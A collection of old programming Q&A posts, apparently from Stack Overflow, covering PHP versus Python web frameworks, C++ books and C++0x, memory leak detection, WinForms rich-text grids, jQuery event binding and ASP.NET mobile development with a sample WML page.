| <p>This is not the sort of thing that relational databases are very good at, unless you can use fulltext indexing, and you have already stated that you cannot, since you're using InnoDB. I'd suggest selecting your relevant rows and doing the word count in your application code.</p>
|
PHP vs. application server? <p>For those of you who have had the opportunity of writing web applications in PHP and then as an application server (eg. Python-based solutions like CherryPy or Pylons), in what context are application servers a better alternative to PHP?</p>
<p>I tend to favor PHP simply because it's available on just about any web server (especially shared host), but I'm looking for other good reasons to make an informed choice. Thank you.</p>
| <p>The advantage of deployment for PHP is a huge one. You will also have a large developer base, and sound like you already have considerable expertise. In general if you know how to use a programming language well, you are safer to stick with it.</p>
<p>The advantages of using a Python web framework like Pylons are that your code will be neater, and more maintainable. Of course this is possible with PHP, but seems much harder to achieve. Python is simply a nicer language than PHP, so that might affect your decision.</p>
<p>Personally, I would not describe either Pylons or CherryPy as an "application server", if you want a Python application server, try <a href="http://www.zope.org/" rel="nofollow">Zope</a>. (They both do serve WSGI Applications, but that is a topic for another question.) There seem to be plenty of equivalent frameworks for PHP, and they have been listed in other answers.</p>
|
Is it Wise to Spend Cash on a C++ Book Keeping in View the Upcoming C++0x? <p>I just purchased <em>C++ GUI Programming with Qt4</em> and after reading the code samples in this book I'm beginning to realize that my knowledge of C++ is incomplete. I learned C++ two years ago from online tutorials and a couple of ebooks I downloaded, and it turns out none of these resources were good enough. Since then I haven't touched the language and have been using Python instead.</p>
<p>Now I'm thinking of purchasing a good book on C++ that covers advanced topics, and the one I have in mind is Bruce Eckel's <em>Thinking in C++</em> (both volumes). I know they are available for free on the web, but I really can't stand reading books on a laptop screen.</p>
<p>Since C++0x might be out pretty soon, is it wise to go ahead and spend cash on these books? Will C++0x break backwards compatibility? Volume 2 covers features like multithreading, templates etc. Would any of these features change significantly in C++0x?</p>
| <p>I wouldn't hold my breath for C++0x. I doubt it will be out by the end of this decade. Even when it will be out, you should probably count a year or so for compilers to implement it. Learn the fundamentals now, and it should be relatively easy for you to learn most of the new features when the standard is out. The Standards Committee is known for its efforts to maintain backward compatibility.</p>
<p>I personally check with the evolution of the standard from time to time, just out of curiosity. Subscribe to Herb Sutter's <a href="http://herbsutter.wordpress.com/" rel="nofollow">blog</a> <a href="http://herbsutter.wordpress.com/feed/" rel="nofollow">feed</a> and look for Standard updates.</p>
<p>My personal favourite advanced C++ book is Bjarne Stroustrup's The C++ Programming Language, 3e. It is the one single C++ book from which I think I learnt the most, with respect to language and STL details. Scott Meyers' books helped clarify a lot of things too. Meyers writes in a very readable language (English, I believe), and often what would happen is that I'd read an entire Item from Meyers' book, and then find the same information in Stroustrup's book condensed into a single sentence or so. That is to say Meyers' books are extremely useful in getting your attention to interesting details.</p>
<p>As for the changes I expect for threading, I think there going to be two new libraries for this purpose in the standard. Concepts are an even bigger change coming, and they are somewhat related to templates. Up until now we had concepts in the STL, but these were <em>conventions</em>; an algorithm would make assumptions about a type you pass to a template, and you'd know to pass the correct "type of type" because of the conventions. This implied terribly error messages, the STL template errors we all know and "love". Concepts will help solve these. There are other improvements (complexities) to the language. Herb Sutter talks about them a lot.</p>
|
What is the best way to check for memory leaks in c++? <p>I'm implementing a sparse matrix with linked lists and it's not fun to manually check for leaks, any thoughts? </p>
| <p>The <a href="http://valgrind.org/"><code>valgrind</code></a> profiler for Unix offers a decent leak detection.</p>
<p>However, this is only one part of a successful approach. The other part is to prevent (i.e. minimize) explicit memory handling. Smart pointers and allocators can help a great deal in preventing memory leaks. Also, <em>do</em> use the STL classes: a leak-free linked list implementation is already provided by <code>std::list</code>.</p>
|
gridview control capable of displaying rich text in WinForms <p>I'm looking for a WinForms control that would allow me to display data in a table like manner but with some rich content such as different font colors, images. I do not need data-binding etc., just a "table of RichTextBox controls". I suppose it wouldn't be difficult to build such a control myself, but I thought I'd ask first...</p>
<p>Thanks for your answers.</p>
| <p>You always have the option of creating your own DataGridView column type. I've done this a few times recently and found that it works quite well. It takes surprisingly little code and knowledge of GDI to put together something very nice.</p>
<p>What information are you trying to display in your grid?</p>
|
Lazy binding functions to multiple events with jQuery <p>Here's the scenario: I have a set of buttons that I want to bind to corresponding functions when clicked. The ids of these buttons are the same as the names of their corresponding functions. I could do this:</p>
<pre><code>$("#kick").click(kick);
$("#push").click(push);
$("#shove").click(shove);
</code></pre>
<p>But I'm lazy and would like to do this more lazily (as is my nature). As the buttons are all contained in a block element, I'd like to do something like this:</p>
<pre><code>$("#button_holder > span").each(function () {
var doThis = this.id;
$(this).click(doThis);
});
</code></pre>
<p>Except that doesn't work. Any suggestions?</p>
| <p>Like the other answerers, I'm not sure that this is "true" laziness (as in the programmer's virtue), but only you know your implementation details.</p>
<p>If you really want to do something like this, you can use an object to store your particular functions and then use the string to look them up:</p>
<pre><code>var myFunction = {
kick: kick,
push: push,
shove: shove
};
$("#button_holder > span").each(function () {
var doThis = this.id;
$(this).click(myFunction[doThis]);
});
</code></pre>
<p>Or as anonymous functions:</p>
<pre><code>var myFunction = {
kick: function() { /*do kick */ },
push: function() { /*do push */ },
shove: function() { /*do shove */ }
};
$("#button_holder > span").each(function () {
var doThis = this.id;
$(this).click(myFunction[doThis]);
});
</code></pre>
|
Web for mobile devices - best practices for ASP.NET <p>Starting to build web applications for mobile devices (any phone). <br/>
What would be the best approach using ASP.NET 3.5/ASP.NET 4.0 and C#?
<br/></p>
<p>UPDATE (feb2010) <br/>
Any news using windows mobile 7?<br/></p>
| <p>It depends if you really want to <strong>support every cell phone</strong> or only high end or new phone like the iPhone which don't have many limitations rendering web pages. If you could ask for real <strong>HTML rendering, Javascript and cookies support on the phone as requirement</strong>, then the real constraint is the <strong>limited size of the screen</strong>. You should do fine with "normal" web development in ASP.NET taking care to the the size of the pages.</p>
<p>If that is the case, <em>you could stop reading here.</em></p>
<p>If you <strong>really want to support every cell phone</strong>, especially old ones, you should be aware that there are different types of phones. Many of them have <strong>limitations and constraints</strong> showing web pages. Some of them can use JavaScript, but many of them do not. Some of them can display HTML content, but many others can not. They have to rely on the "Wireless Markup Language" standard for accessing web. So, it's not easy to build a website that supports all of these different devices.</p>
<p>Here are some links to general content (not ASP.NET specific), which could help getting the whole picture:</p>
<ul>
<li><a href="http://www.w3.org/TR/mobile-bp/" rel="nofollow">Mobile Web Best Practices 1.0 (W3C)</a></li>
<li><a href="http://mobiforge.com/starting/story/dotmobi-mobile-web-developers-guide" rel="nofollow">Mobile Web Developer#s Guide (dotMobi)</a></li>
</ul>
<p>Their main limitation however is, as I already mentioned, the smaller screen than on normal PC's. And many cell phones do not support JavaScript, Cookies and some even don't show images.</p>
<p>There are special markup standards for cell phones. <strong>WML pages</strong> is for example a widely adopted standard for cellphones. WML stands for "Wireless Markup Language" which is based on XML. You can find a description and reference of WML <a href="http://www.w3schools.com/WAP/wml_reference.asp" rel="nofollow">here on w3schools.com</a>.</p>
<p>The code below shows a sample WML page:</p>
<pre><code><?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<card id="card1" title="Stackoverflow">
<do type="accept" label="Menu">
<go href="#card2"/>
</do>
<p>
<select name="name">
<option value="Questions">Questions</option>
<option value="MyAccount">My account</option>
<option value="FAQ">FAQ</option>
</select>
</p>
</card>
<card id="card2" title="Menu">
<p>
You selected: $(name)
</p>
</card>
</wml>
</code></pre>
<p>The good news is, that ASP.NET renders WML (and other mobile markup standards) content automatically. You don't have to write WML files yourself. A built-in mechanism detects the type of device (cell phone) of the web requests. However, mobile device detection on ASP.NET does not work correctly for some (newer) devices. Take a look at <a href="http://wurfl.sourceforge.net/" rel="nofollow">WURFL</a>, an XML configuration file which contains information about capabilities and features of many mobile devices.</p>
<p>You can test the pages you develop in ASP.NET in a standard web browser, but it would not give th right picture of what you have developed. There are some emulators available for this problem, which simulate a cell phone on your desktop computer. There is a <a href="http://support.microsoft.com/?scid=kb%3Ben-us%3B320977&x=6&y=14" rel="nofollow">Microsoft support article</a> which explains where you can download them.</p>
<h2>ASP.NET Mobile Controls</h2>
<p>The ASP.NET Mobile Controls, formerly knowns as the "Microsoft Mobile Internet Toolkit" extend the .NET Framework and Visual Studio to build mobile Web applications by enabling ASP.NET to deliver markup to a wide variety of mobile devices. </p>
<p>The ASP.NET mobile controls render the appropriate markup (HTML 3.2, WML 1.1, cHTML, XHTML) while dealing with different screen sizes, orientations and device capabilities.</p>
<p>Learn more <a href="http://www.asp.net/mobile/" rel="nofollow">here on the official web site</a>.</p>
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.